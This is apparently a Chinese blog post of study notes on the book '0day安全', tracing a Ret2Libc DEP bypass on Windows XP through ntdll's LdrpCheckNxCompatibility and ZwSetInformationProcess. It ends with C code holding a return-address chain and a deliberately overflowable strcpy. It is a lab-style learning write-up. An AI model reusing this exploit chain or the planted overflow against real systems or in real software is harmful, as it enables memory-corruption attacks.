<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节注记(下)

3/3/2017来源:C/C++教程人气:5545

    在前一篇<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationPRocess>一节注记(上) 的末尾部分,我们遇到访问无效内存的异常,本篇将讨论如何解决这个异常并关闭DEP保护。我们已经知道引起异常的原因是向无效地址[ebp-4](0x9090908C)写入数据。要解决这个异常可能有2种思路:1.让[ebp-4]指向可读写的地址;2.修改函数LdrpCheckNxCompatibility的实现,当然,这种方法不是本篇讨论的内容,是否具有可行性也没有验证过,所以,还是来讨论方式1。

    出错时,ebp指向0x90909090,esp指向0x12ff80,当然esp指向的内存地址是可读写的,如果将esp的值赋给ebp,然后再执行mov ss:[ebp-4],esi就不会出错了。这样修改ebp最直白的方式应该是mov ebp,esp;ret;不知道是进程空间里搜不到这样的指令流还是别的原因,(想想也是mov ebp,esp一般都出现在函数入口出用于形成栈帧,才形成栈帧就执行retn感觉在浪费时间...)作者用的是一种替代方法:

push esp
pop ebp
retn这个是个很神奇的指令序列:1.经过push esp;pop ebp的确达到了修改ebp寄存器的目的;2在关闭DEP保护函数 LdrpCheckNxCompatibility的返回部分有这么一段指令流:

ntdll!LdrpCheckNXCompatibility+0x5c:  
7c93cd6d 5e              pop     esi  
7c93cd6e c9              leave     ;leave指令等效于mov esp,ebp pop ebp          
7c93cd6f c20400          ret     4 ;一般在函数的入口处会有一个Entry指令用于建立函数的栈帧,并在退出函数时调用leave恢复函数调用前的栈。由于,我们是以不正常的方式跳过Entry指令并进入LdrpCheckNxCompatibility函数,当离开LdrpCheckNxCompatibility前,执行leave指令可能会导致用错误的ebp寄存器的值恢复esp,最终影响整个溢出过程中的堆栈布局。为了消除leave指令带来的影响,我们需要手工建立栈帧。这就有了上面的指令流----在进入LdrpCheckNxCompatibility函数之前执行push
 esp;pop ebp序列,相当于执行了一次Entry指令,这样关闭DEP后esp能保持进入前的原样,就不会破坏堆栈布局;3.在2的基础上,由于esp寄存器的值具有进出函数前后的一致性,因此不管在LdrpCheckNxCompatibility函数怎么操作堆栈,最终退出该函数时,esp还指向shellcode,这样的好处是便于定位(虽然shellcode的内容可能在关闭DEP的过程中被频繁的出入栈操作冲刷掉了)。我猜想作者是鉴于这样思路,所以选择使用这段指令流。

    现在要做的就是寻找这样的指令流,这简单,使用OD的OllyFindAddr插件就能实现这个功能:我挑选0x77ecdc68处的指令流。

    编译后再次加载调试,可以看到ebp和esp的值一致,当执行完ret指令进入关闭DEP保护的流程时esp==0x12FF88:

下图为调整ebp准备进入LdrpCheckNxCompatibility函数:

下图为进入LdrpCheckNxCompatibility函数:

再来验证一下执行mov [ebp-4],esi指令时是否会引发异常,嗯,谢天谢地,终于让我饶过了这个是非之地:

    大家还记得前一篇我整理的关闭DEP保护的代码流吗?最重要的是要饶过代码流中标识3.处。当执行完上面mov ss:[ebp-4],esi指令不就后,就会执行到标识3处:

3.  
7c93cd2f 837dfc00        cmp     dWord ptr [ebp-4],0                ;[ebp-4]中的值来源于1.中地址0x7c93cd26和0x7c93cd28的push/pop语句                
7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ;跳到4处执行  由于此时[ebp-4]的值为2,因此将跳转到LdrpCheckNxCompatibility函数关闭DEP保护的代码流标识4处执行:

图为执行cmp ss:[ebp-4],00指令时寄存器和内存值,此时[ebp-4]==0x02,并将跳转到0x7c956831处运行:

0x7c956831处的几条指令翻译成c语言其实就是ZwSetInformationProcess(-1,0x22,&[ebp-4],04);这条语句看似风平浪静,其实暗流涌动,请大家注意执行call ZwSetInformationProcess前后堆栈的变化:

call之前的截图:

call之后的截图:

大家仔细观察从0x12FF78-0x12FF88这片栈内存值的变化。原本这片内存中存放的是精心构造的shellcode,很不幸,由于调用ZwSetInformationProcess函数shellcode的内容被覆盖的面目全非。这影响不大,最多shellcode执行不了了,但是当LdrpCheckNxCompatibility函数即将结束,执行leave;ret时,程序将返回到一个不可控的地址。让我们来手动模拟一下这个过程:

首先是执行leave指令,等效于mov esp,ebp;pop ebp;执行过后esp=0x12FF84,ebp=0x12FF7c;

紧接着准备执行retn指令,eip去[esp]中取返回地址,看看[esp]中存放了什么:[esp]=[0x12ff84]=0x04,shit,eip将返回到0x04去执行,想想都害怕。

下图为执行leave指令后寄存器/堆栈的状态:

下图为执行retn后Od的状态,指令窗口都黑线了,eip指向0x04,遇到这样的结果真倒霉:

    前面已经说过直接导致这个结果的原因是堆栈中的shellcode被覆盖,再深层次的挖掘一下,是因为栈顶esp的值离这关键部分的shellcode(关闭DEP保护的shellcode)太近。解决方法是在进入LdrpCheckNxCompatibility函数前先抬高esp的值,让它离这部分的shellcode远一点。书中提到的方法是在进程空间中寻找retN(N==0x28)指令。但是,od的OllyFindAddr插件没有直接提供这样的功能,它只能寻找pop+retN这类指令。作者建议是Number of pop对话框中填0,Number of ret 填0x28,这么建议是有讲究的:

1.以Number of pop=1;Number of retN=0x28为例,ollyFindAddr找到的调整esp的指令流多数长这样:

如果选取pop ebp+retn 28指令流会引起新的bug----调用ZwSetInformationProcess时传入的第三个参数是[ebp-4]的地址:

ntdll!LdrpCheckNXCompatibility+0x4d:  
7c956831 6a04            push    4  
7c956833 8d45fc          lea     eax,[ebp-4]  <---取[ebp-4]的地址
7c956836 50              push    eax          <---地址入栈
7c956837 6a22            push    22h  
7c956839 6aff            push    0FFFFFFFFh  
7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80)  
7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)一旦执行了pop ebp,势必影响lea eax, [ebp-4]得结果,所以作者提到抬高esp的过程中不能修改ebp;

2.既然不能修改ebp的地址,即不能执行pop ebp这样的指令,那我选择pop eax;retN这类指令流总可以吧。的确是可以,不过pop eax会影响esp的值,不方便计算shellcode的布局。鉴于上述两点原因,作者在对话框中填入了Number of pop=0;Number of RetN=28。

    重新生成shellcode,将找到用于调整esp指针的retN地址插入到push esp;pop ebp;retn 0x4的地址之后,两者之间必选相隔4B而不是紧挨着,这是为什么?大家来看一下此时堆栈分布情况:esp指向0x12FF80,执行完retn 0x4之后,除了ret本身会让esp=esp+4 后面的 0x04又会让esp=esp+4.最终的效果就是修改esp为0x12FF88。CPU执行完retn 0x04之后,将执行retn 0x28,返回地址从栈顶esp寄存器中取出,原本我们指望esp取出的返回地址是0x7c974a19(就是进入关闭DEP保护的流程)。事与愿违的事发生了,esp将从栈顶取出的值为0x90909090,CPU返回到这个地址执行又会异常。所以我们先要在地址0x12FF84处预留4B的空档,然后在堆栈0x12FF88处存放值0x7C93CD24,好在执行retn 0x28时返回到LdrpCheckNxCompatibility函数中

    编译od加载,让我们把程序停在执行retn 28之前,看下此时堆栈的分布:

此时esp寄存器值为0x12FF80,执行retn 04后eip将指向0x7c974a19(存放指令retn 0x28----用于抬高esp的值),同时esp被修改为0x12FF88:

再次执行retn 0x28指令,esp将被修改为0x12FF88+0x04+0x28=0x12FFb4;eip进入LdrpCheckNxCompatibility函数,进行关闭DEP的流程:

    等到关闭DEP流程结束执行leave指令时,esp寄存器会恢复到之前修改EBP寄存器的值时的状态。下一次执行retn 4时Eip会从栈顶0x12FF84取返回地址,还记得这指向前面修改ebp值和抬高esp值时留下的空档?忘了可以回过去看看前面的段落。

    一般而言,这个空档会用进程空间中jmp esp指令的地址填补,使得关闭DEP后,shellcode进入堆栈继续执行。注意LdrpCheckNxCompatibility函数末尾的retn 4指令使得esp指向0x12FF8c,因此shellcode最终会从此处开始执行:

下图是我搜索到的jmp esp的地址,将这个地址填补前面提到的空档。

当jmp esp执行后,eip从堆栈中取指令运行,Ret2LibC成功。

最后贴上我的代码:

#include <windows.h>

/* shellcode内容注释
\x52\xe2\x92\x7c->mov al,0x01;ret;
\x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
\x19\x4a\x97\x7c->retn 0x28
\x13\x98\xd1\x7d->jmp esp
\x24\xcd\x93\x7c->关闭DEP
*/

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\
					"\x52\xe2\x92\x7c"\
					"\x85\x8b\x1d\x5d"\
					"\x19\x4a\x97\x7c"\
					"\x13\x98\xd1\x7d"\
					"\x24\xcd\x93\x7c"\
					"\x90\x90\x90\x90"};

int test()
{
	char arry[4] = {0};
	strcpy(arry,shellcode);
	return 0;
}

int main()
{
	HMODULE hMod = LoadLibrary("shell32.dll");
	test();
}